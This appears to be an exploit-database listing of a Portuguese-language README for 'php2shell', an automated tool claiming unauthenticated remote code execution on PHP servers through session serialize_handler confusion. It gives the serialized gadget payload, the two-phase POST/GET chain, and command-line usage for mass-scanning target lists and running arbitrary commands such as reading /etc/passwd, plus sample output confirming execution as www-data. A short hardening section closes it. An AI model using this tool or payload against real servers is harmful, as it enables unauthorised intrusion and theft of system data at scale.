Skip to content
php2shell exploit

php2shell exploit

Sploitus • October 22, 2026

CVE-2026-109618 / CVE-2026-109619 — Session serialize_handler confusion via session.upload_progress yields unauthenticated RCE

O PHP2Shell é um exploit automático para uma vulnerabilidade de Remote Code Execution (RCE) que afeta servidores PHP que utilizam a configuração `session.upload_progress` com diferentes `serialize_handler` em caminhos distintos.

A ferramenta descobre automaticamente os diretórios vulneráveis, executa a cadeia de exploração e cria um arquivo de prova no servidor — tudo com um único comando.

PHP permite configurar diferentes `session.serialize_handler` para diferentes diretórios:

`/seed/` `php_serialize` Grava objeto serializado

`/app/` `php` (default) Desserializa e executa

Body: PHP_SESSION_UPLOAD_PROGRESS = |O:6:"Logger":1:{s:3:"cmd";s:2:"id";}

O handler `php_serialize` grava o valor verbatim em `sess_`, incluindo o `|` e o objeto serializado.

O handler `php` divide no primeiro `|`, desserializa o objeto e executa `__destruct()`, que chama `system($cmd)`.

Fase 1: `php_serialize` não entende a sintaxe `|O:...`, então grava tudo como string

Fase 2: `php` divide em `|`, tenta desserializar `O:...`, mas os bytes seguintes (do upload original) falham no decode

Resultado: PHP destrói o objeto parcialmente construído → `__destruct()` é chamado → RCE

Apenas informe o site — o exploit descobre os caminhos sozinho:

Lê uma lista de alvos de arquivo `.txt` e salva resultados em CSV:

python3 php2shell_rce.py --targets sites.txt --output resultados.csv

Formato do arquivo de sites (`sites.txt`):

Se você já sabe os diretórios vulneráveis:

python3 php2shell_rce.py --seed-path /upload/ --trigger-path /app/

Modo Restrito (Apenas o Caminho Informado)

Testa somente o caminho informado, sem varrer o host:

python3 php2shell_rce.py --strict-path

python3 php2shell_rce.py --cmd 'cat /etc/passwd'

`site` Alvo único (ex: `

`--targets, -t` Arquivo com lista de sites (um por linha)

`--output, -o` Arquivo CSV para salvar resultados

`--seed-path` Caminho do diretório `php_serialize` (modo manual)

`--trigger-path` Caminho do diretório `php` (modo manual)

`--cmd` Comando a executar no servidor (default: cria demo.txt)

`--gadget` Classe gadget (default: `Logger`)

`--prop` Propriedade com o comando (default: `cmd`)

`--field` Nome do campo de progresso (default: `PHP_SESSION_UPLOAD_PROGRESS`)

`--timeout` Timeout em segundos (default: 20.0)

`--delay` Delay entre alvos em modo lote (default: 0.5s)

`--strict-path` Testa apenas o caminho informado (não varre o host)

`--verbose, -v` Mostra cada tentativa de exploração

`--quiet, -q` Apenas resultados no CSV (sem output no terminal)

O arquivo de saída contém as seguintes colunas:

`seed_path` Caminho usado como seed (php_serialize)

`trigger_path` Caminho usado como trigger (php)

`uid` UID do usuário que executou o comando

`demo_files` Arquivos criados no servidor

`output` Saída do comando (truncada para 500 bytes)

target,status,seed_path,trigger_path,seed_url,trigger_url,uid,user,gid,groups,demo_files,timestamp,output,error

/var/tmp/pwned_php2shell.txt,2026-10-22 12:37:20,"== pwd: /var/www/php2shell/app

ls: cannot access '/var/www/php2shell/app/pwned_php2shell.txt': No such file or directory

-rw-r--r-- 1 www-data www-data 88 Oct 22 12:37 /tmp/pwned_php2shell.txt

-rw-r--r-- 1 www-data www-data 88 Oct 22 12:37 /var/tmp/pwned_php2shell.txt

uid=33(www-data) gid=33(www-data) groups=33(www-data)

12:37:20,,No working seed/trigger pair found

Nenhuma dependência externa (usa apenas bibliotecas padrão)

├── php2shell_rce.py # Exploit principal

├── README_EXPLOIT.md # Este arquivo

├── sites_sample.txt # Exemplo de lista de alvos

├── resultados.csv # Resultados da execução

└── resultados_finais.csv # Resultados consolidados de validação

┌─────────────────────────────────────────────────────────────┐

│ PHP2Shell Exploit │

├─────────────────────────────────────────────────────────────┤

│ 1. Recebe alvo(s) │

│ ├─ Site único: │

│ └─ Lista de sites: --targets sites.txt │

│ │

│ 2. Pré-sonda caminhos │

│ ├─ Testa COMMON_PATHS (/app/, /upload/, /seed/, etc.) │

│ ├─ Filtra caminhos que respondem (200, 302, 401, 403) │

│ └─ Monta pares (seed, trigger) para testar │

│ │

│ 3. Executa cadeia RCE │

│ ├─ Fase 1 (POST): envia payload serializado │

│ │ └─ PHP_SESSION_UPLOAD_PROGRESS = |O:... │

│ ├─ Fase 2 (GET): força desserialização │

│ │ └─ Cookie: PHPSESSID= │

│ └─ Verifica resposta por marcador │

│ │

│ 4. Extrai informações │

│ ├─ UID, user, GID, groups do comando 'id' │

│ ├─ Caminhos dos arquivos demo criados │

│ └─ Output completo do comando │

│ │

│ 5. Salva resultados │

│ └─ CSV com todas as informações │

└─────────────────────────────────────────────────────────────┘

python3 php2shell_rce.py

____ _ ____ _ _ _ _ _

/ ___|(_) __ _ / ___|| | | | | _____(_) | ___

| | _| | |/ _` |\___ \| |_| | |/ / _ \ | |/ _ \

| |_| | | | (_| | ___) | _ | < __/ | | (_) |

\____|_|_|\__,_|____/ |_| |_|_|\_\___|_|_|\___/

PHP2Shell RCE Exploit (CVE-2026-109618/109619)

============================================================

============================================================

seed (php_serialize):

trigger (php) :

usuario=www-data (uid=33) arquivos=/tmp/pwned_php2shell.txt; /var/tmp/pwned_php2shell.txt

python3 php2shell_rce.py --targets targets.txt --output resultados.csv --delay 0.5 -v

python3 php2shell_rce.py --cmd 'whoami && hostname && cat /etc/passwd'

python3 php2shell_rce.py -v

Mostra cada tentativa de par (seed, trigger) testado.

Use um único `serialize_handler` para todos os diretórios de sessão

Desabilite `session.upload_progress` se não for necessário

Valide e sanitize todos os inputs de sessão

Use `session.save_path` isolado por aplicação

php_value session.upload_progress.cleanup On

O Apache geralmente roda como `www-data` (Debian/Ubuntu) ou `apache` (RHEL/CentOS). O exploit executa comandos com o mesmo usuário do processo do servidor web.

Em sistemas modernos com `systemd PrivateTmp=true`, o `/tmp` do Apache é um namespace privado. Isso significa que:

O arquivo criado pelo RCE fica em `/tmp/systemd-private-*/tmp/`

O shell do usuário não vê o arquivo em `/tmp/` diretamente

Isso confirma que a execução ocorreu genuinamente no processo do Apache

`127.0.0.1:8091` e ` → testados uma vez

Os caminhos de seed/trigger estão diferentes dos esperados

Use `--verbose` para ver quais pares foram testados

Use `--seed-path` e `--trigger-path` se souber os caminhos

Aumente `--timeout` se o servidor for lento

Solução: Verifique se o alvo está acessível com `curl` ou `nmap`.

Solução: O CSV é gravado incrementalmente — os resultados já processados estão salvos.

Descoberta: Confusão de `session.serialize_handler` via `session.upload_progress`

[x] Modo automático (descobre caminhos sozinho)

[x] Modo restrito (apenas caminho informado)

[x] Gravação incremental (não perde progresso)

[x] Exit code apropriado (0 = sucesso, 1 = falha)